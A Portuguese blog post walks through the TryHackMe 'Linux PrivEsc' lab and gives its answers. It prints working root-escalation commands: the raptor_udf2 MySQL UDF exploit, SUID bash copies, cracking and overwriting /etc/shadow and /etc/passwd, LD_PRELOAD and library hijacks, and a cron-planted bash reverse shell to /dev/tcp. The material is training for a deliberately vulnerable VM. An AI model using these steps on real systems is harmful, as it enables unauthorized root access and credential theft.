domingo, 5 de maio de 2024

Linux PrivEsc

Pratique suas habilidades de Escalada de Privilégios no Linux em uma VM Debian intencionalmente mal configurada com várias maneiras de obter acesso root! SSH está disponível. Credenciais: usuário: password321

https://tryhackme.com/r/room/linuxprivesc?ref=blog.tryhackme.com

Tarefa 1: Deploy the Vunerable Debian VM

 Esta sala tem como objetivo orientar você por uma variedade de técnicas de escalonamento de privilégios no Linux. Para fazer isso, você deve primeiro implantar uma VM Debian intencionalmente vulnerável. Esta VM foi criada por Sagi Shahar como parte de seu workshop de escalonamento de privilégios local, mas foi atualizada por Tib3rius como parte de seu curso de Escalonamento de Privilégios no Linux para OSCP e Além! na Udemy. Explicações completas das várias técnicas usadas nesta sala estão disponíveis lá, juntamente com demonstrações e dicas para encontrar escalonamentos de privilégios no Linux.

Certifique-se de estar conectado à VPN do TryHackMe ou usando a instância Kali no navegador antes de tentar acessar a VM Debian!

O SSH deve estar disponível na porta 22. Você pode fazer login na conta "user" usando o seguinte comando:

ssh user@MACHINE_IP

Se você ver a seguinte mensagem: "Tem certeza de que deseja continuar a se conectar (sim/não)?" digite sim e pressione Enter.

A senha para a conta "user" é "password321".

Nota: Se você receber um erro dizendo Não foi possível negociar com <IP> na porta 22: nenhum tipo de chave de correspondência encontrada. A oferta deles: ssh-rsa, ssh-dss isso ocorre porque o OpenSSH descontinuou o ssh-rsa. Adicione -oHostKeyAlgorithms=+ssh-rsa ao seu comando para se conectar.

As próximas tarefas irão orientá-lo por diferentes técnicas de escalonamento de privilégios. Após cada técnica, você deve ter um shell de root. Lembre-se de sair do shell e/ou restabelecer uma sessão como a conta "user" antes de iniciar a próxima tarefa!

Responda às perguntas abaixo: 

Implante a máquina e faça login na conta "usuário" usando SSH.
No answer needed.

Execute o comando "id". Qual é o resultado?
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

 

Tarefa 2: Service Exploits.

O serviço MySQL está sendo executado como root e o usuário "root" para o serviço não tem uma senha atribuída. Podemos usar um exploit popular que se aproveita de Funções Definidas pelo Usuário (UDFs) para executar comandos do sistema como root através do serviço MySQL.

Mude para o diretório /home/user/tools/mysql-udf:
cd /home/user/tools/mysql-udf

Compile o código de exploit raptor_udf2.c usando os seguintes comandos:

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc


Conecte-se ao serviço MySQL como usuário root com uma senha em branco:

mysql -u root

Execute os seguintes comandos no shell do MySQL para criar uma Função Definida pelo Usuário (UDF) "do_system" usando nosso exploit compilado:

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';


Use a função para copiar /bin/bash para /tmp/rootbash e definir a permissão SUID:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

Saia do shell do MySQL (digite exit ou \q e pressione Enter) e execute o executável /tmp/rootbash com -p para obter um shell em execução com privilégios de root:

/tmp/rootbash -p

Lembre-se de remover o executável /tmp/rootbash e sair do shell de root antes de continuar, pois você criará este arquivo novamente mais tarde na sala!

rm /tmp/rootbash
exit

 

Tarefa 3: Weak File Permissions - Readable /etc/shadow 

O arquivo /etc/shadow contém os hashes das senhas dos usuários e geralmente só é legível pelo usuário root.

Observe que o arquivo /etc/shadow na VM é legível para todos:

ls -l /etc/shadow

Visualize o conteúdo do arquivo /etc/shadow:

cat /etc/shadow

Cada linha do arquivo representa um usuário. O hash da senha de um usuário (se ele tiver) pode ser encontrado entre os dois primeiros dois pontos (:) de cada linha.

Salve o hash do usuário root em um arquivo chamado hash.txt em sua VM Kali e use o John the Ripper para quebrá-lo. Você pode ter que descompactar o /usr/share/wordlists/rockyou.txt.gz primeiro e executar o comando usando sudo, dependendo da sua versão do Kali:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Mude para o usuário root, usando a senha quebrada:

su root

Lembre-se de sair do shell root antes de continuar!

Responda às perguntas abaixo
Qual é o hash da senha do usuário root?
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999

Qual algoritmo de hash foi usado para produzir o hash da senha do usuário root?
sha512crypt

Qual é a senha do usuário root?
password123

O arquivo /etc/shadow contém os hashes das senhas dos usuários e geralmente só é legível pelo usuário root.

Observe que o arquivo /etc/shadow na VM é gravável por todos:

Tarefa 4: Weak File Permissionis - Writable /etc/shadow

ls -l /etc/shadow

Gere um novo hash de senha com uma senha de sua escolha:

mkpasswd -m sha-512 novasenhaaqui

Edite o arquivo /etc/shadow e substitua o hash da senha original do usuário root pelo que você acabou de gerar.

Troque para o usuário root, usando a nova senha:

su root

Lembre-se de sair do shell root antes de continuar!

Tarefa 5: Weak File Permissions - Writable etc/passwd

 O ficheiro /etc/passwd contém informações sobre as contas de utilizador. É legível por todos, mas geralmente só pode ser modificado pelo utilizador root. Historicamente, o ficheiro /etc/passwd continha hashes das palavras-passe dos utilizadores, e algumas versões do Linux ainda permitem que os hashes das palavras-passe sejam armazenados lá.

Nota que o ficheiro /etc/passwd é modificável por todos:

ls -l /etc/passwd

Gera um novo hash de palavra-passe com uma palavra-passe à tua escolha:

openssl passwd novapalavrapasseaqui

Edita o ficheiro /etc/passwd e coloca o hash da palavra-passe gerada entre os dois primeiros dois pontos (:) da linha do utilizador root (substituindo o "x").

Muda para o utilizador root, usando a nova palavra-passe:

su root
Alternativamente, copie a linha do utilizador root e acrescente-a no final do ficheiro, mudando a primeira instância da palavra "root" para "novoroot" e colocando o hash da palavra-passe gerada entre os dois primeiros dois pontos (substituindo o "x").

Agora mude para o utilizador novoroot, usando a nova palavra-passe:

su novoroot

Lembra-te de sair da shell de root antes de continuares!

Responda às perguntas abaixo
Execute o comando "id" como o utilizador novoroot. Qual é o resultado?
uid=0(root) gid=0(root) groups=0(root)

Tarefa 6: Sudo - Shell Escape Sequences

Liste os programas que o sudo permite que seu usuário execute:

sudo -l

Visite o GTFOBins (https://gtfobins.github.io) e procure por alguns dos nomes dos programas. Se o programa estiver listado com "sudo" como uma função, você pode usá-lo para elevar os privilégios, geralmente por meio de uma sequência de escape.

Escolha um programa da lista e tente obter um shell root, usando as instruções do GTFOBins.

Para um desafio extra, tente obter um shell root usando todos os programas da lista!

Lembre-se de sair do shell root antes de continuar!

Responda às perguntas abaixo
Quantos programas o "usuário" pode executar via sudo?
11

Um programa da lista não tem uma sequência de escape de shell no GTFOBins. Qual é?
apache2

Considere como você poderia usar este programa com sudo para obter privilégios de root sem uma sequência de escape de shell.

Tarefa 7: Sudo - Variáveis de Ambiente
Sudo pode ser configurado para herdar certas variáveis de ambiente do ambiente do usuário.

Verifique quais variáveis de ambiente são herdadas (procure pelas opções env_keep):

sudo -l

LD_PRELOAD e LD_LIBRARY_PATH são ambos herdados do ambiente do usuário. LD_PRELOAD carrega um objeto compartilhado antes de qualquer outro quando um programa é executado. LD_LIBRARY_PATH fornece uma lista de diretórios onde as bibliotecas compartilhadas são procuradas primeiro.

Crie um objeto compartilhado usando o código localizado em /home/user/tools/sudo/preload.c:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

Execute um dos programas que você tem permissão para executar via sudo (listados ao executar sudo -l), enquanto define a variável de ambiente LD_PRELOAD para o caminho completo do novo objeto compartilhado:

sudo LD_PRELOAD=/tmp/preload.so nome-do-programa-aqui

Um shell root deve ser iniciado. Saia do shell antes de continuar. Dependendo do programa que você escolheu, talvez seja necessário sair dele também.

Execute ldd contra o arquivo do programa apache2 para ver quais bibliotecas compartilhadas são usadas pelo programa:

ldd /usr/sbin/apache2

Crie um objeto compartilhado com o mesmo nome de uma das bibliotecas listadas (libcrypt.so.1) usando o código localizado em /home/user/tools/sudo/library_path.c:

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

Execute o apache2 usando sudo, enquanto define a variável de ambiente LD_LIBRARY_PATH para /tmp (onde nós colocamos o objeto compartilhado compilado):

sudo LD_LIBRARY_PATH=/tmp apache2

Um shell root deve ser iniciado. Saia do shell. Tente renomear /tmp/libcrypt.so.1 para o nome de outra biblioteca usada pelo apache2 e execute o apache2 novamente usando sudo. Funcionou? Se não, tente descobrir o motivo e como o código library_path.c poderia ser alterado para fazer funcionar.

Lembre-se de sair do shell root antes de continuar!

Tarefa 8: Trabalhos Cron - Permissões de Arquivo
Trabalhos cron são programas ou scripts que os usuários podem agendar para serem executados em horários ou intervalos específicos. Os arquivos de tabela cron (crontabs) armazenam a configuração para os trabalhos cron. A crontab do sistema está localizada em /etc/crontab.

Visualize o conteúdo da crontab do sistema:

cat /etc/crontab

Deveriam haver dois trabalhos cron agendados para serem executados a cada minuto. Um executa o overwrite.sh, o outro executa /usr/local/bin/compress.sh.

Localize o caminho completo do arquivo overwrite.sh:

locate overwrite.sh

Observe que o arquivo é gravável por todos:

ls -l /usr/local/bin/overwrite.sh

Substitua o conteúdo do arquivo overwrite.sh pelo seguinte após alterar o endereço IP para o de sua máquina Kali.

#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


Configure um ouvinte netcat em sua máquina Kali na porta 4444 e aguarde o trabalho cron ser executado (não deve demorar mais do que um minuto). Um shell de root deve se conectar de volta ao seu ouvinte netcat. Se não acontecer, verifique novamente as permissões do arquivo, algo está faltando?

nc -nvlp 4444

Lembre-se de sair do shell de root e remover o código de shell reverso antes de continuar!

Tarefa 9: Trabalhos Cron - Variável de Ambiente PATH
Visualize o conteúdo do crontab do sistema:

cat /etc/crontab

Observe que a variável PATH começa com /home/user que é o diretório pessoal do nosso usuário.

Crie um arquivo chamado overwrite.sh no seu diretório pessoal com o seguinte conteúdo:

#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

Certifique-se de que o arquivo é executável:

chmod +x /home/user/overwrite.sh

Aguarde a execução do trabalho cron (não deve demorar mais do que um minuto). Execute o comando /tmp/rootbash com -p para obter um shell em execução com privilégios de root:

/tmp/rootbash -p

Lembre-se de remover o código modificado, remover o executável /tmp/rootbash e sair do shell elevado antes de continuar, pois você criará este arquivo novamente mais tarde na sala!

rm /tmp/rootbash
exit


Responda a perguntaa abaixo:
Qual é o valor da variável PATH em /etc/crontab?
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

 


 

 

 

 

 

Nenhum comentário:

Postar um comentário

Postagens mais visitadas